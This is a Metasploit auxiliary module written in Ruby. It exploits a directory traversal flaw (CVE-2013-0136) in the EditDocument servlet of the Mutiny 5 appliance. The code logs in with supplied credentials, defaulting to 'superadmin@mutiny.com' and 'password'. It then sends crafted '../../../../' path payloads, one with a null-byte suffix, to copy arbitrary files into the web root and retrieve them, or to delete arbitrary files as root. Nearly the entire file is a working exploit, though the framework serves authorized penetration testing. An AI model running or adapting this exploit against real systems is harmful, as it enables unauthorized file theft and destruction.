##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'        => 'Mutiny 5 Arbitrary File Read and Delete',
			'Description' => %q{
					This module exploits the EditDocument servlet from the frontend on the Mutiny 5
				appliance. The EditDocument servlet provides file operations, such as copy and
				delete, which are affected by a directory traversal vulnerability. Because of this,
				any authenticated frontend user can read and delete arbitrary files from the system
				with root privileges. In order to exploit the vulnerability a valid user (any role)
				in the web frontend is required. The module has been tested successfully on the
				Mutiny 5.0-1.07 appliance.
			},
			'Author'       =>
				[
					'juan vazquez' # Metasploit module and initial discovery
				],
			'License'     => MSF_LICENSE,
			'References'  =>
				[
					[ 'CVE', '2013-0136' ],
					[ 'US-CERT-VU', '701572' ],
					[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/05/15/new-1day-exploits-mutiny-vulnerabilities' ]
				],
			'Actions'     =>
				[
					['Read'],
					['Delete']
				],
			'DefaultAction' => 'Read',
			'DisclosureDate' => 'May 15 2013'))

		register_options(
			[
				Opt::RPORT(80),
				OptString.new('TARGETURI',[true, 'Path to Mutiny Web Service', '/']),
				OptString.new('USERNAME', [ true, 'The user to authenticate as', 'superadmin@mutiny.com' ]),
				OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'password' ]),
				OptString.new('PATH',     [ true, 'The file to read or delete' ]),
			], self.class)
	end

	def run
		@peer = "#{rhost}:#{rport}"

		print_status("#{@peer} - Trying to login")
		if login
			print_good("#{@peer} - Login successful")
		else
			print_error("#{@peer} - Login failed, review USERNAME and PASSWORD options")
			return
		end

		case action.name
			when 'Read'
				read_file(datastore['PATH'])
			when 'Delete'
				delete_file(datastore['PATH'])
		end
	end

	def read_file(file)

		print_status("#{@peer} - Copying file to Web location...")

		dst_path = "/usr/jakarta/tomcat/webapps/ROOT/m/"
		res = send_request_cgi(
		{
			'uri'           => normalize_uri(target_uri.path, "interface", "EditDocument"),
			'method'        => 'POST',
			'cookie'        => "JSESSIONID=#{@session}",
			'encode_params' => false,
			'vars_post'     => {
				'operation' => 'COPY',
				'paths[]' => "../../../../#{file}%00.txt",
				'newPath' => "../../../..#{dst_path}"
			}
		})

		if res and res.code == 200 and res.body =~ /\{"success":true\}/
			print_good("#{@peer} - File #{file} copied to #{dst_path} successfully")
		else
			print_error("#{@peer} - Failed to copy #{file} to #{dst_path}")
		end

		print_status("#{@peer} - Retrieving file contents...")

		res = send_request_cgi(
			{
				'uri'       => normalize_uri(target_uri.path, "m", ::File.basename(file)),
				'method'    => 'GET'
			})

		if res and res.code == 200
			store_path = store_loot("mutiny.frontend.data", "application/octet-stream", rhost, res.body, file)
			print_good("#{@peer} - File successfully retrieved and saved on #{store_path}")
		else
			print_error("#{@peer} - Failed to retrieve file")
		end

		# Cleanup
		delete_file("#{dst_path}#{::File.basename(file)}")
	end

	def delete_file(file)
		print_status("#{@peer} - Deleting file #{file}")

		res = send_request_cgi(
		{
			'uri'       => normalize_uri(target_uri.path, "interface", "EditDocument"),
			'method'    => 'POST',
			'cookie'    => "JSESSIONID=#{@session}",
			'vars_post' => {
				'operation' => 'DELETE',
				'paths[]' => "../../../../#{file}"
			}
		})

		if res and res.code == 200 and res.body =~ /\{"success":true\}/
			print_good("#{@peer} - File #{file} deleted")
		else
			print_error("#{@peer} - Error deleting file #{file}")
		end
	end

	def login

		res = send_request_cgi(
			{
				'uri'    => normalize_uri(target_uri.path, "interface", "index.do"),
				'method' => 'GET'
			})

		if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/
			first_session = $1
		end

		res = send_request_cgi(
		{
			'uri'       => normalize_uri(target_uri.path, "interface", "j_security_check"),
			'method'    => 'POST',
			'cookie'    => "JSESSIONID=#{first_session}",
			'vars_post' => {
				'j_username' => datastore['USERNAME'],
				'j_password' => datastore['PASSWORD']
			}
		})

		if not res or res.code != 302 or res.headers['Location'] !~ /interface\/index.do/
			return false
		end

		res = send_request_cgi(
		{
			'uri'    => normalize_uri(target_uri.path, "interface", "index.do"),
			'method' => 'GET',
			'cookie' => "JSESSIONID=#{first_session}"
		})

		if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/
			@session = $1
			return true
		end

		return false
	end

end
